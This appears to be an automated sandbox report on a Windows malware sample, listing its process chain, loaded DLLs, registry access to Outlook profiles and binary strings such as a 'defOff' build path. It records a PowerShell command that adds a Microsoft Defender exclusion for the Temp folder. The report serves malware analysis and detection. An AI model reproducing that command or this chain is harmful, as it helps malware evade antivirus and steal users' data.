Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2016,i,16280527193402925112,7809612728727619200,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\CGIJECFIEC.exe "C:\Users\user\Documents\CGIJECFIEC.exe"
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe "C:\Users\user\AppData\Local\Temp\1020057001\install1.exe"
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\2C55.tmp\2C56.tmp\2C57.bat C:\Users\user\AppData\Local\Temp\1020057001\install1.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp"

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: mstask.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: dui70.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: duser.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: chartv.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: oleacc.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: winsta.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\CGIJECFIEC.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: acgenral.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: uLkHEqZ3u3.exe

Static file information: File size 1911296 > 1048576

Source: uLkHEqZ3u3.exe

Static PE information: Raw size of iqaraqez is bigger than: 0x100000 < 0x1aa400

Source:	Binary string: mozglue.pdbP source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3085451057.000000006FCDD000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.5.dr, mozglue[1].dll.5.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.5.dr, freebl3[1].dll.5.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.5.dr, freebl3[1].dll.5.dr
Source:	Binary string: nss3.pdb@ source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr
Source:	Binary string: softokn3.pdb@ source: softokn3.dll.5.dr, softokn3[1].dll.5.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.5.dr, vcruntime140.dll.5.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.5.dr, msvcp140[1].dll.5.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: DZKPIL2C5DR0YB6M.exe, 00000003.00000002.2585063808.0000000000A62000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: nss3.pdb source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr
